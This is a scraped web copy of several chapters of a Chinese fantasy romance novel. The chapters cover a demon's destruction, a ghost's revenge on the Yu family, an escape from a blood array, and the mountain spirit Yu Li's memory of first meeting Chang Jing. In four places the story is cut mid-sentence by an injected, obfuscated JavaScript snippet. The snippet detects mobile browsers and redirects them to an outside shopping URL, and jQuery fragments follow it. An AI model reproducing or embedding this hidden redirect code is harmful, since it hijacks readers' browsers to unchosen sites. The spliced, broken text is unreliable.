“看看她,多可怜呐,她甚至没想到我其实也奈何不了虞峰,更没想到后来虞峰都死了我还在骗她。”魔物欣赏着柳惜露绝望的模样,“不过跟我关系不大啊。” “是你们查的太快,再加上计划提前完成,所以有没有虞峰也就不重要了。我就把这些年骗他的事情全部告诉了他,你们没看见呐,虞峰知道当年让他输所有的西域之行,其实只是我设的一个局的时候,气得都快从病塌上坐起来了。” “哈哈哈哈哈哈,然后他就气死了。诶,这可跟我无关啊,是他自己气死的。” 常瀞拔剑:“少废话,接着说,你们的计划是什么!” “才不告诉你呢。”魔物低头打量了一下自己的躯体,“哦?我开始消亡了。再见了,星君,回去告诉上清境,准备恭迎吾等再次降临吧。” 魔物附身的那具尸体猛然倒下,一股浓浓的黑气冲天而起,而后又消散在空中。 过程之快,让常瀞甚至来不及留下一点它的碎片。 “可恶!怎么感觉问题更多了。” 常瀞无奈收起剑,回头检查郁离的伤势,惊讶地发现伤口竟已经好得七七八八了。 郁离模棱两可地解释道:“我们在出任巷主之前都会和酆都签订契约,所以算是比较特殊的鬼,受到大多数攻击都不会消散。” 因为在签订契约的一刻,他们的灵魂就已经与鸡鸣巷的结界绑在了一起,他们受到的所有伤害与结界共享,这才是受伤后能够快速恢复的秘密。 试问有多少攻击能够强得过鸡鸣巷的数千年积淀呢。 当然这也是有代价的,代价就是他们消散以后,灵魂要回归鸡鸣巷,永永远远守卫着这里的安宁。 郁离借机假装自己还比较虚弱,倚着常瀞站起来,贪婪地感受着常瀞身上的温度。 常瀞一无所知,手里捏着诀,让一动不动的柳惜露飘起来,打算就这么带回梦园。 “星君,能不能不要告诉褚大哥我受伤的事。”郁离扯了下常瀞的衣摆。 “如果这是你希望的,那我答应你。”常瀞抬手揉上他的头,“你救了我,是我欠你的。不过我还是要说,哪怕你是真的不会受伤消散,也不能这么随便对待自己的身体了。” 郁离愣愣地看着他,不知道是因为这番话,还是因为被常瀞摸了头。 回梦园的路上,郁离一直恍恍惚惚,好像又回到了常瀞还与他在山中的时候,那时的常瀞就很喜欢揉自己的头。 自他离开碧影山已经过去了三百年,这三百年里郁离时常会想,常瀞现在在做什么,有没有对别人也那么好。 他伸手碰了碰自己的发顶,表情复杂地盯着前面常瀞的背影。 不知为何,他竟有些嫉妒现在可以跟在常瀞身边的自己。 回到梦园,常瀞向重寒酥和褚游讲述了刚刚在蕉园内发生的事情,只是隐去了上清境里可能有魔物的耳目一事。 “原来如此,那咱们的任务也算完成了,而且还得知了魔物消亡的方法,只是似乎无法复刻。”重寒酥握住迎春的手晃了晃,“不过,现在当务之急是从阵里出去,不然什么消息怕是都传不出去。” 常瀞点头,魔物的耳目事关重大,万一是真的,打草惊蛇怕是会有大麻烦,还是自己先悄悄查探一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196557|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再说。 重寒酥握着迎春的手在微微颤抖:“我和褚游方才试了不少方法,这阵都毫无反应。我的法器迎春估计撑不了多久了,现在只能寄希望于我刚刚放出的信烟,要是有路过的同僚或许能帮帮我们。” 郁离:“一般阵法的破阵点都是在顶部中心位置,咱们先各自调整一下灵力,等会儿大家集中攻击中心点再试试,总不能在这里坐以待毙吧。” 远处忽然跌跌撞撞跑来了一个人,那人的脸上和身上已经被血污模糊。 那人似乎是从阵外刚进来的,也不知道这虞府里有什么,能让这人明知不对劲,还要往里闯。 常瀞挪到一个能照顾到全场的位置。 那人却像没看到常瀞已经拔出的剑一样,直直走到了柳惜露身边,抱住了她。 此人原来是虞晖,他紧赶慢赶回到庐山镇,远远便看到虞府笼罩着一层血色光辉,死气沉沉。 同行的人看情况不对劲,没有敢进去的。只有虞晖,想到自己的父亲和妻子还在府里,不管不顾地冲了进来。 出于距离原因,虞晖先到蕉园,发现他爹已经惨死。 他来不及悲痛和愤怒,就又跑来梦园,想找自己的妻子。 一直像木偶一样的柳惜露终于有了反应,声音颤抖:“晖郎,你怎么回来了。” 虞晖紧紧抱着她:“我刚到临镇就开始心慌,再加上出的问题特别麻烦,干脆就舍了那桩生意,赶回来了。” 柳惜露眼角涌出了泪水:“为什么,我明明设计好的,你最快也得明日傍晚才能回来。” 虞晖松开了手:“惜露,这是什么意思。” “对不起,我骗了你。真正的柳惜露已经死了,我是来索你爹命的恶鬼。”柳惜露痛苦地埋下头,“可我不想害你,就借生意之名,将你支开。” 虞晖后退了几步:“为什么。” “因为他该死!他杀了我和我的同伴!”柳惜露静静注视着虞晖,“可你和他不同,我不知道你还记不记得,你儿时曾经误入过他杀害我们的现场,还试图救我们。” 虞晖痛苦地捂着头,有些一直隐藏在深处的记忆终于冲破了枷锁。 他想起来了,那天被血染红的地下石室。 他也想起来了,他不是因为贪玩磕坏了头。 而是在阻止他爹恶行的时候,被人推开,撞到了墙上。 他的视线变得模糊,那天浑身是血的小女孩,和温柔地唤他“晖郎”的柳惜露的身影,慢慢地重合在了一起。 双膝一软,虞晖跪倒在地上。 郁离为这对夫妻长叹了一口气,只是时间紧急,没空再管这二人。 他乘着一个鸟型傀,飞上半空,标记好阵法的中心。 接着,四人朝标记竭尽全力施展了各自的最强一击。 攻击迸发了震天的巨响,随后是一道充满希望的清脆碎裂声。 可是很快,碎裂声就停止,攻击腾起的烟雾散开后,只留下了一圈圈攻击荡开的波纹。 郁离的心沉到了谷底。 他们可能真的出不去了。 12. 虞府(十) 褚游怔怔地盯着毫无变化的大阵,转头望了一眼仍在苦苦支撑迎春的重寒酥,突然开始疯狂地砍向大阵。 他接受不了,他可以困死在这里,反正他已经死过一回了,无所谓。 可是重寒酥不行,他藏在心里的人不能死在这样肮脏的地方,死在……他眼前。 郁离拦下了想去阻拦的常瀞,他理解褚大哥,他也同样无法想象常瀞死在这里的样子。 想到这里,郁离又默默往常瀞身边挪了几步,思考着自己如果以燃烧灵魂为代价,再加上所有的傀一起爆,能不能将大阵撕开一个口子,送常瀞出去。 褚游终于力竭,落回了地面,喘着粗气死死盯着大阵。 除了几道和方才一样的波纹,什么变化都没有。 褚游滑坐在地上,垂下头。 “叮——” 一道很轻微的声音响起,好像是从阵外传进来的。 郁离抬头看去,发现血色朦胧的阵法之上出现了数十个光点。 褚游瞪大了眼睛:“这是我刚才弄的?!我这么厉害?” 郁离:“……” 郁离:“恐怕不是。” 不远处一道信烟腾起,常瀞欣喜:“是我们的援兵!这些光点难道是被标记出来的破阵点?” 重寒酥:“这么多破阵点啊。那咱们缓一缓,就赶紧破阵吧。” 郁离看向重寒酥:“等不起了,你此刻怕是已在强撑。而且这些光点,八成需要被同时击破,咱们四人恐怕短时间内做不到这般默契。” “我来吧。” 郁离抬手,只见一道银色光弧划过,他周身便浮现出了大大小小数十个傀。 除了动物外形的傀上覆盖着真实的皮毛,其他形状的傀都上覆银色外壳。 这些傀都沉默地守在居于中间的郁离身旁,仿佛拥护着它们的王。 下一秒,傀同时动了,它们整齐划一地奔向大阵,义无反顾。 随着一声巨响,傀在大阵上炸开股股血色烟雾。大阵开始晃动,并且越来越剧烈。 头顶的位置出现了一角夜空,不再是一片血红的颜色。 常瀞和重寒酥几乎同时在内心感慨,鸡鸣巷当真藏龙卧虎。 传闻中,一般的傀师能操控五六个傀就不错了,郁离竟一下放出数十个,而且还能分心同时控制。 大阵瓦解的速度很快,几息之间,周边就已经没有了令人难受的血气。 “咳咳。” 一道模糊的身影咳嗽了两声,慢慢从阵外向他们走来。 “姬润!我就猜是你!”常瀞放松下来,走向来人,然后转身向鸡鸣巷来的两个人介绍,“这是我的朋友,他是上清境里很厉害的阵师,炼丹术也很强。” 郁离远远地打量姬润。 姬润腰间斜跨着一个布袋,身形有些瘦小,一看便知是体弱多病。 他站定,腼腆一笑,刚想开口,就是一连串地咳嗽声。 常瀞摸出来一壶茶,竟然还是热的,倒了一杯递给姬润:“你不是还在修养,怎么来了”。 姬润喝完茶,笑笑:“是星悬,她突然跑来告诉我,你们有危险。我刚到这附近就看见了信烟,然后是这个大阵,难怪她非叫我来。” 祝星悬是上清境的卦师,卜算出神入化。 听到是祝星悬的预测,常瀞不疑有他:“回去可得好好谢谢她了。” 几人交换了一下信息,准备先打扫下阵破后残存的血气,避免这些浓重的血气扩散。 郁离没走几步,就看到此时本该在破庙的姜禾竟来了虞府。 姜禾跑到郁离身前,激动地比划着什么。 郁离大概猜到他是想问虞峰的情况,便耐心地告诉他,虞峰已经死了。 姜禾的眼泪夺眶而出,一下卸了力,蹲在地上抱着头呜咽。 郁离俯身拍了拍姜禾:“我在你的记忆里看到了小鱼,她也在这里。” 姜禾猛地抬起头,难以置信地看向郁离。 郁离指着柳惜露,也是小鱼:“小鱼死后没有转世投胎,她化为鬼扮成这个姑娘,也来找虞峰报仇了。” 不远处一直毫无生气的小鱼似乎也感应到了什么,看向姜禾,眼睛迸发出一点神采。 “姜禾……是你吗。” 视线相撞。 明明一个人换了个壳子,只余一双和从前一样的眼睛。 一个人蓬头垢面,饱经沧桑,挣扎在仇恨中白了头弯了腰。 可他们还是认出了彼此。 这对昔日的伙伴,因为对复仇的执念,隔着十余年,隔着阴阳,终于重逢。 小鱼感激地看了一眼缩在角落的虞晖:“他当年把你救下来了是吗。真好,我们当中原来还有一个人活下来了。” 姜禾激动地从口中发出支离破碎的音节,想上前抱抱小鱼,可是看到她身上华贵的衣裙,又克制住了。 小鱼发现姜禾的异常:“你的舌头怎么了,是虞峰干的?!” 姜禾点点头,又摇摇头,安慰似得地冲她咧嘴笑。 小鱼刚张口又想说什么,却发现自己的身体好像变轻了,正在慢慢消散。 她转头望着郁离,郁离朝她点了下头。 既然魔物已死,抵抗鸡鸣巷的力量也该消失了。 “姜禾,这次是真的要说再见了,就是可惜最后还是没能吃上你煮的粥。”小鱼努力吸住眼泪,绽放出一个大大的微笑,“你以后一个人也好好好的,别再把自己搞得这么狼狈啦。” 小鱼温柔坚定地抱住姜禾,挂着笑容消散在了风里。 …… 郁离一行五人来到庐山镇镇外,明明任务已经结束,却无人觉得轻松。 八煞流霞阵没有侵蚀虞府的一砖一瓦,却向所有人撕开了一直藏身其中的邪恶行径。 不知道虞晖单薄的肩膀能否扛起整个虞府的重担,也不知道没有虞府支撑的庐山镇今后还会不会这么富庶和乐。 走到缩地术的范围,常瀞站定,风吹起他束起的长发:“那就送到这里了,这次任务暴露出来的信息牵涉重大,我们要立刻回禀上清境。这次多亏了鸡鸣巷的二位朋友,我和寒酥一定会正式登门感谢。” 郁离和常瀞听到他们会再次登门,心中不约而同地涌起了期待。 他俩克制着没有表现出不舍,走进了传送阵。 郁离隔着亮起的传送阵与常瀞对视,常瀞目光如炬,像是要把他穿透一般。 他为什么这样盯着我,是看出什么了么?这几日明明没有漏出破绽,他也没再试探啊。 下次他若真再来了巷子,我还是避一避吧。 常瀞看着他们的身影消失在阵里。 看郁离还是有种很熟悉的感觉。 罢了,正事要紧,下回再试探吧。 常瀞转身:“咱们也走吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196558|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 姬润摇头:“我就不和你们一路了。姐姐的忌日就快到了,我想拜祭完再回去。” 常瀞叹气:“好,那你注意身体,过几日我也去看看揽晴姐。” 上清境。 云蒸霞蔚,雾霭氤氲,上清境伫立高天云端之上。 明明只隔了几日光景,常瀞与重寒酥在踏入上清境的一刻还是有种恍如隔世的感觉,毕竟这一次的任务是真的让他们感受到了魔物的可怕。 哪怕此刻身处灵气四溢的上清境,那种如附骨髓的恶意和血腥气好像仍然跟随萦绕在他们周围。 二人享受地呼吸着上清境充沛的灵气,边走边聊。 重寒酥长舒一口气:“可算是回来了,这一趟可真凶险。” 常瀞:“谁说不是呢。” 重寒酥:“只是就是总觉得怪怪的,我自己接过的有关魔物的任务,还有从别人哪里听说过的任务,都不像这次这般难缠。” 常瀞:“是很奇怪呐。” 二人说着走进正法殿。 常瀞和重寒酥立在高台下详尽地陈述了庐山镇任务的种种。 高台上的天尊转过身来,露出的却是一张与威严背影严重不符的脸。 天尊板着一张娃娃脸皱起眉头:“杀死魔物的方法难以复刻,耗尽躯体好说,恶意要怎么办呢……” 重寒酥:“不如先把这种方法公布出去吧,大家集思广益,一起想一想。” 天尊湛昀眉头稍稍舒展:“寒酥说的是,这次能找到突破口已经是巨大的喜讯了。还有魔物的计划,也要一并查下去。” 湛昀唤来殿外的仙侍,就让常瀞和重寒酥回去休息了。 常瀞快要踏出殿外,又回过头。 湛昀敏锐地捕捉到他游移的视线,问道:“还有别的事情吗?” 常瀞一笑,摇摇头。 眼线一事还是谨慎为好。 此事牵涉重大,若它说谎,贸然捅出来怕是会搞得整个上清境人心惶惶。 可万一……它说的是真的,那任何人,都不能信任。 …… 站在熟悉的巷口,褚游夸张地长舒一口气:“这一趟可真吓人,差点回不来了。” 郁离瞥他一眼:怎么?可是你主动要求去的,后悔啦?” 褚游:“说什么呢!为了除魔卫道挺身而出,谈什么后悔!” 郁离:“……” 你最好是。 花间乐坊。 施娘已经备好了一桌酒菜等他们回来。 褚游一屁股坐下,就开始一边给自己斟酒,一边向施娘讲述这一趟他们有多惊心动魄。 郁离也给自己倒了一杯,琥珀色的酒液在杯中泛着光。 他曾问过褚游,明明已经尝不出味道,为何还独爱饮酒。在他们看来,水、酒、茶,应该并无分别才对。 褚游晃着手中的酒盅:“世人爱酒,不是喜它的味道,而是贪图酒后的无拘忘我,可以大胆幻想平时根本不敢起的念头。” 听后郁离表示不解,可今日这杯喝完,当他仰头看着窗外高悬的月亮,觉得自己好像有些明白了。 郁离胳膊撑在桌子上支着头,笑眯眯听着褚游和施娘斗嘴。 慢慢地,他的头一点一点,趴在了桌子上,嘴角还挂着笑。 他久违地做了梦,梦里是一直被自己妥善珍藏的初遇,与还处在少年时期的常瀞的初遇。 13. 深林(一) 郁离还记得自己降生在这个世界上的第一天,是一个夜晚。 他当时就靠在山中一颗最高的树上,缓缓睁开了眼。 一只飞鸟被惊动,振翅而起。 小山鬼顺着飞鸟飞行的轨迹,看到了高悬于夜空之上的那轮明月。 皎洁而美好,是他对这个世界最初的印象。 脚下有声音在呼唤,小山鬼底下头去,是身下的巨树。 参天巨树慈爱地告诉他,他因何而降生。 山鬼,山中之灵,为守护深山而生。 他脚下的这座山名唤碧影,自上古时期就被施加了结界,结界范围只出不进。 他作为这一代的山鬼,将用一生守护这座深山,永远无法踏出此地。 月升月落,小山鬼已经不知道在这里渡过了多少个日夜。 他花了很长时间,走遍了深山的每一个角落,所到之处除了满眼的绿竹,再无其他。 能与他交流的,只有巨树。 巨树长于山顶,是长在满山竹林里的唯一一棵松树,它年纪太大了,常常陷入沉睡。 渐渐的,小山鬼愈发沉默。 他无师自通地学会了使用灵力,可惜碧影山的灵力太过稀薄,只能供他在树林里腾跃时稍微灵巧一点。 这座山的结界虽说是只出不进,可这个“不进”似乎也存在着漏洞。 因为偶尔会有一些飞禽走兽误入,他见过飞翔的鸟,跳跃的鹿…… 其中最让他喜爱的是一只拥有洁白皮毛的兔子,兔子的后腿受了伤。 小山鬼小心地将他抱起,感受着怀中温暖的温度,为它搭了一个柔软的窝。 可是兔子伤好后,就无情地跳走,再也没有回来。 当然也有一些选择留在碧影山的动物,他很开心这些动物能留在这里。 因为深山之中太安静了,动物们能给这里带来一点生气。 也有例外,某一年的冬天,碧影山里蹿进来了一只浑身是伤的老鼠。 哦不,这只老鼠口吐人言,应当是只鼠妖。 小山鬼第一次觉得这山里真吵,怎么能这么吵。 鼠妖被救醒以后,很快便搞清楚了山里的情况,他粗着嗓子:“小鬼,本大爷是妖王,我宣布此地今后就划到我的治下了!嘎嘎嘎!” 小山鬼:“……” 与外界从无接触,不代表就是傻。 总之,鼠妖最后被默许留在这里,天天耀武扬威地骑在小山鬼的肩膀上和他一起巡山。 他想,鼠妖吵是吵了点,可毕竟也是除了松爷爷以外,唯一能和自己交流的生物。 一鼠一山鬼就这么一个不停叭叭,一个偶尔附和一句的又过了好多年。 遇到常瀞的那天,是一个现在想来特别普通的夜晚。 小山鬼巡完山,将已经睡熟的鼠妖送到树洞里的一个竹编软垫上,是他专门为挑剔的鼠妖编的。 随后他照旧借着身边亮着的点点幽光,翻身爬上了巨树。幽光来源于他的伴生灵,长相形似刚冒尖的竹笋。 它们混迹在竹林中生长,白日里就是十分普通的竹笋模样,夜晚才冒出点点幽光,有些调皮的,还爱绕着小山鬼飞。 那夜云层密布,将月亮挡了个干干净净。 小山鬼有些生气,毕竟他每日唯一的娱乐活动就是晚上看看月亮。 正当他无奈地闭上双眼,准备睡觉时,林间忽然穿来了窸窸窣窣的细响。 小山鬼轻盈地落在地上,贴在树后,安静观察着。 只见一个少年,拄着剑拨开竹林,走到他眼前。 月亮此时恰巧从云层中穿破,如水的月光洒在少年脸上,映出少年绮丽的容颜和鬓间留下的一道血痕。 极致的白、鲜艳的红和少年如高悬明月般美好的脸,构成了小山鬼对于美最初的认识。 少年刚看见小山鬼,还没来得及说话,就一头栽倒在地上。 小山鬼小心翼翼地挪到少年身旁,很是熟练地扛起他,带到了他一般救治迷路受伤小动物的固定地点。 但少年的伤太重了,他浑身滚烫,血止都止不住。 小山鬼想了想,跑回到巨树下,唤醒松爷爷,磕磕绊绊地说:“松爷爷,山里,来了一个人,伤好重,血止不住,我,我能不能……” 巨树用灵识扫视了一圈,叹息:“孩子,你才是碧影山的守护者,你应当自己做决定。” 小山鬼懵懂地点了点头,雀跃地跑开。 他可以救他的月亮了。 次日傍晚,少年醒来,从全身传来的剧痛告诉他,他没死。 为什么,伤已入心肺,他必死无疑。 他眯眼看着趴在身侧熟睡的小孩,这鸟不拉屎的深山里有个这么小的孩子?这看起来也就十岁左右的小孩儿还把他救活了? 不对劲儿,太不对劲儿了,这肯定不是寻常小孩儿。 见小孩儿有醒转的迹象,少年主动扬起他平时调皮捣蛋后用来迷惑别人的微笑,十分有礼貌:“你好,我叫常瀞,谢谢你救了我,能跟我说说这里是什么地方吗?” 小山鬼见常瀞醒来,飞快溜到一颗树后。 常瀞耐心地瞅着树后的小孩儿,也不催促。 “咳咳,还是本大爷大发慈悲地告诉你吧。”鼠爷已经和来时比圆了一圈,它笨拙地跳下小山鬼的肩膀,溜达到常瀞身旁,向他解释了碧影山的情况。 常瀞:“这个黑球是什么东西?” 鼠爷:“?!” 鼠爷暴怒:“本大爷是鼠妖王!!!” 常瀞听完鼠爷的解释,恍然大悟:“原来如此,是结界啊,只出不进。我就说昨夜怎么走着走着,感觉走到了不同的地方。看来这个结界对外不太稳定,偶尔会在某个时刻某一个点开启。” 郁离还是缩在树后,一动不动。 常瀞冲他招手:“我长得有那么吓人吗?” 郁离露出脑袋,摇摇头。 鼠爷:“害,他从小都没见过人,估计是怕生。” “啊?他,一直是一个人?” “是啊,都怪这破结界,本大爷走南闯北也见过一些山鬼,都不像这座山,搞什么只出不进。” “我明白了。”常瀞脸上重新挂上笑容,从腕间缠的金链法器中取出一块人间小孩儿爱吃的花生酥糖,“你还没有吃过这个吧,是甜的,来尝尝?” 小山鬼动摇了,慢慢挪过来,接过后塞进嘴里,腮帮子一鼓一鼔。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196559|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尝过一口,他的眼睛亮了,但还是不说话。 常瀞看着他乖巧的样子,心都快化了。 好想养啊! 之前在学宫里就总听那个烦人的同门炫耀他有个听话的弟弟,回家找阿娘要弟弟还被打了。 哼,现在他也可以有了。 常瀞乐呵呵开口:“崽啊。” 郁离疑惑抬头。 常瀞一呆。 不是,怎么就把心里话说出来了啊,别把他当成变态啊! 常瀞冷静找补:“那啥,我是说你是不是还没有名字?不嫌弃的话,我给你取一个?” 小山鬼终于开口:“名……字?” 常瀞:“对,名字。在人间每个人都有名字。” 小山鬼抬眼望着他:“常……静?” 常瀞笑道:“对,我叫常瀞。‘清静为天下正’,我俩的爹娘希望我们可以一直保有一颗清静的心,心净且自在,所以为我和我哥取了清和瀞这两个字。”(注) 小山鬼重复:“常瀞。” “给你取个什么名字呢?”常瀞看着这满山遍野的竹林,心念一转,“这漫山的竹林,不如就叫你郁离吧。竹子有个别称就是郁离,怎么样?” “郁……离。” “喜欢吗?” “喜欢。” 郁离眼睛眨都不眨一下的盯着常瀞,也不知道是说喜欢这个新名字。 还是喜欢他。 时间一天一天过去,常瀞以惊人的速度恢复着,甚至可以缓慢地下床走几步。 两人也越来越熟,虽然郁离还是不大开口说话,大部分时间都是常瀞在说。 许是鼠爷给郁离立的孤独自闭小可怜的形象,太过深入人心,常瀞又太想养崽。 短短几日,常瀞就将郁离划到了自己人的范围下,不再端着亲切大哥哥的架子,少爷性子起来,开始理直气壮地指挥郁离为他整修住所。 起初只是郁离随手搭的一个简易竹棚,现下已然变成了一个豪华竹屋。 竹屋搭建的结实又精致,内里的一应用具都是常瀞从空间法器中掏出来的。奢华程度把鼠爷看的一愣一愣,直呼之前过得都是什么苦日子。 郁离拘谨的坐在红木圈椅上,看着常瀞舒服地摊在玉蚕丝被铺就的塌上,有些难过的想,这些东西他见都没见过,他的月亮好像很难养的样子。 等常瀞的伤已经好到可以拄着一根竹棍到处走的时候,山中已经入秋。 常瀞的精力也越来越好,不再总是卧床闭目养神。 他开始教郁离念书识字,学会一个字就鼓励地揉揉郁离的头。 他还给郁离讲山外的风土人情,讲他的故乡在中原,位于大陆的最中心。中原的秋天是金黄色的,不像这里是漫山的竹林,四季常青。 他为懵懂无知的小山鬼展现出了这个世界真正的样子,让小山鬼早已沉寂的心泛起了波澜。 郁离开始向往山外的世界,东洲一望无际的大海、西域广袤无垠的沙漠、南疆层峦叠嶂的群山、北境白雪皑皑的雪原,还有常瀞口中的故乡——中原。 那时的他还不知道,等他终于踏上中原土地的时候,心中不是他以为的喜悦与激动,而是满腔的仇恨。 14. 深林(二) 山中越来越冷,刚泡好的茶上已然能看到飘起的白色热气。 常瀞披着毛领大氅,惬意地靠坐在炉火旁的软塌上。 郁离好奇地摸过去,兔毛做的领子绒绒的。 他舒服地眯起眼睛,手还不停在毛绒绒的领子上来回摩挲。 常瀞摸着下巴探究的看着他:“原来你喜欢这种毛绒绒的东西啊。” 郁离回过神来,有些不好意思。 他给常瀞讲起了那只伤好后就跑走了的小兔子,被他走到哪带到哪,还会主动凑上去用毛绒绒的脑袋蹭他的手。 说着说着,郁离难过地垂下了头,他想到了常瀞。 常瀞来自山外,伤好以后,也是会离开的。 常瀞沉默片刻,认真道:“你相信我吗?” 郁离眼底的伤心还未消失,他轻点了一下头。 “我来自中原一个很古老的宗门,宗门的藏书楼里有好多好多秘典古籍,还有很多见多识广的长辈老师。等我回去,一定能找到带你离开这里的方法。” 郁离垂眼,点点头。 常瀞已经开始畅想带崽出去后的美好生活,他要向所有人炫耀他家崽。 “出去后我就带你去我家,我爹娘可喜欢你这种乖巧又好看的小孩了。”常瀞絮絮叨叨的说着,“你就跟我一起住,我的院子够大,住两个人没问题。哦对了,还得再移几株这山里的竹子过去。” 郁离抱紧常瀞从大氅上解下来扔给他的毛毛领子。 “然后咱们再养上好几只兔子,还有猫猫。你是不是还没见过猫猫是什么样子,等出去你就知道了,猫猫也是很可爱的,毛绒绒的小动物。” “我让我爹给咱们下厨,不对,我爹就是你爹,是咱爹!给咱们做好吃的,阿爹做饭可好吃了,就是他太忙了,不常下厨,一年到头下几次厨都是为了阿娘。偷偷告诉你,阿娘做饭特别难吃,我和我哥都觉得难以下咽,就阿爹能面不改色吃下去。” 小小的竹屋里盈满了欢声笑语。 次日清晨,郁离把常瀞从床上摇醒。 常瀞翻过身赖唧唧:“崽啊,再让哥哥睡一会儿。” 郁离不理,一把掀起他的被子,把自己冰凉的手贴到他腰上。 常瀞一个激灵坐起来。 这孩子,真狠呐。 每年初冬时节,山脚下的小溪里会游来一种鳞片细细的鱼,烤起来特别香。这鱼游起来特别快,只有在清晨会栖息在石缝里,此时最好抓。 一个月以前,常瀞听鼠爷讲的时候,嘴就开始馋了。 两人一鼠朝山下走去,常瀞睡眼惺忪的拄着竹棍,懊悔自己昨日为何非要跟着他俩去抓鱼,自己这也动不了啊,躺床上等着吃不好吗?! 溪水清澈,清透见底。 郁离年年被鼠爷催着抓鱼,早已掌握了熟练的抓鱼技巧,挽起裤脚,不一会儿就抓上来好几条。 常瀞皱眉,初冬的溪水已经特别凉了,他取出一条厚实的被子裹在郁离身上。 郁离愣住,默默裹紧了被子。 火生起来了,鼠爷就蹲在火堆旁,盯着上面在烤的鱼。 常瀞看它越凑越近,毛都快让火燎着了,就顺手敲了鼠爷一下让它退回来。 鼠爷生气:“你小子胆子越来越大了,连妖王的头都敢敲!” 常瀞:“你毛都快烧着了,哪家妖王像你这么馋嘴” 郁离瞄了一眼鼠爷,嘀咕:“你今天是不能多吃,越来越沉了。” 常瀞:“还圆,你是不是也没有名字啊,叫你圆球好不好。” 鼠爷暴怒:“做梦!你小子取名字还上瘾了!” 常瀞扭头:“对哦,都忘了它也没有名字,是你养的,就你来取一个。” 郁离:“它也不算是我养的,唔,不如就叫小灰吧,它的皮毛是灰色的。” 鼠爷继续暴怒:“我不接受!明明是我养他,什么叫他养我。” 常瀞:“明明是我养的!” 鼠爷跳脚:“是我!” 常瀞不甘示弱:“是我!” 郁离:“……” 郁离见两人越吵越凶,很不理解,怎么这么幼稚。 他看鱼烤好了,果断一人嘴里塞了一条烤鱼,终于清净。 常瀞吃着烤鱼,果然很香,值得他牺牲睡觉时间来吃。 吃着吃着他想到刚才的话题,觉得还是要确认一下自己的养崽优先权:“我看上去比你大了五六岁呢,你以后叫我哥哥,我叫你弟弟好不好。” 郁离啃着烤鱼,思考了一下:“不好。” 斩钉截铁的两个字让常瀞心里凉凉的:“为什么啊?” 郁离认真道:“郁离一定是我,弟弟可以是很多人。” 常瀞愣住,他好像明白了郁离的意思。 一直无名无姓的孩子,有一天终于拥有了自己姓名,特别珍惜,不愿意再成为别人口中的代称。 常瀞摸上郁离的头:“那以后就叫你郁离,郁——离。” 郁离:“常——静。” “哎。” 碧影山中飘起了雪,不知不觉常瀞已在深山里养了五月有余,伤好了大半,已经可以丢开竹棍,只是走起来还是有些一瘸一拐。 常瀞坐在塌上,望着窗外纷飞的雪花,嘴里念叨着:“不知道家里那边是不是也在下雪,我这么长时间一直没有消息,他们肯定着急了。” 郁离不知道该怎么接话,只能沉默着又往炉子里加了一把柴。 常瀞翻身躺下:“阿娘身体不好,一到冬天总是生病卧床。唉,不过都怪我,阿娘就是为了生我,身体才变得不好的,明明她以前也是人人交口称赞的修炼天才。” 郁离坐直,艰难开口:“再过几日,雪化了,我就送你离开吧。” 常瀞支起身子:“怎么啦,突然赶哥哥走?” 郁离别过头:“没有,就是看你伤已经好得差不多了。” “我这还没彻底好呢,你就赶人。” “都说了不是。” 常瀞挪到郁离身前蹲下:“难过啦,其实不舍得我走对不对。” 郁离不说话,捏上他的衣角。 常瀞叹气,张开双臂拥住郁离,一下一下摸着他的头:“我也不想走哒,我也舍不得我们小郁离,可是山外一样也有我的牵挂。” 突如其来的拥抱令郁离一僵,从未有人抱过他,原来拥抱是那么温暖。 郁离试探地伸手回抱,见常瀞没有松手,便将自己更深地埋进常瀞的怀抱里。 常瀞:“再让我陪陪你,好不好,等开春了我再走。” “嗯。” 随着天气渐暖,郁离的情绪开始渐渐低落。 他知道,常瀞这次是真的要离开了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196560|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常瀞也看出郁离心情不好,换着法子地逗郁离开心,甚至都放弃了平日里雷打不动的懒觉,早早就等在门口,黏着郁离陪他巡山。 